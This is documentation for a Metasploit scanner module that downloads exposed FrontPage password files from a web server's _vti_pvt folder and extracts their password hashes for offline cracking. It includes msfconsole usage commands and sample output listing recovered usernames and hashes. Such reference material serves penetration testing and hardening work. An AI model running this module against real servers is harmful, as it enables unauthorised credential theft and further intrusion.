metasploit-framework/documentation/modules/auxiliary/scanner/http/frontpage_credential_dump.md

Description

When Microsoft FrontPage is run on a non-IIS web server it creates encrypted password files in the _vti_pvt folder. When this folder is accessible, these files can be downloaded and parsed to obtain encrypted passwords. These encrypted passwords can then be cracked offline and used to gain further access to the server.

Affected Files:

• administrators.pwd
• authors.pwd
• service.pwd

Citations:

• https://msdn.microsoft.com/en-us/library/cc750050.aspx
• http://sparty.secniche.org/

Usage

use auxiliary/scanner/http/frontpage_credential_dump
set RHOSTS 10.10.10.10
set TARGETURI about
run

Standard Output

msf auxiliary(scanner/http/frontpage_credential_dump) > run

[+] 10.10.10.10 - service.pwd
[+] 10.10.10.10 - administrators.pwd
[+] 10.10.10.10 - authors.pwd

FrontPage Credentials
=====================

 Source          Username    Password Hash
 ------          --------    -------------
 Administrators  e-scan.com  xMyvw4d3c1oWY
 Authors         e-scan.com  xMyvw4d3c1oWY
 Service         e-scan.com  jLAsITPJ8AsaR

[*] Credentials saved in: /root/.msf4/loot/20180921124147_default_10.10.10.10_frontpage.creds_096592.txt

Verbose Output

msf auxiliary(scanner/http/frontpage_credential_dump) > run

[*] Requesting: /about/_vti_pvt/service.pwd
[*] Found /about/_vti_pvt/service.pwd.
[*] Found FrontPage credentials.
[+] 10.10.10.10 - service.pwd
[*] Requesting: /about/_vti_pvt/administrators.pwd
[*] Found /about/_vti_pvt/administrators.pwd.
[*] Found FrontPage credentials.
[+] 10.10.10.10 - administrators.pwd
[*] Requesting: /about/_vti_pvt/authors.pwd
[*] Found /about/_vti_pvt/authors.pwd.
[*] Found FrontPage credentials.
[+] 10.10.10.10 - authors.pwd

FrontPage Credentials
=====================

 Source          Username    Password Hash
 ------          --------    -------------
 Administrators  e-scan.com  xMyvw4d3c1oWY
 Authors         e-scan.com  xMyvw4d3c1oWY
 Service         e-scan.com  jLAsITPJ8AsaR

[*] Credentials saved in: /root/.msf4/loot/20180921124828_default_10.10.10.10_frontpage.creds_090555.txt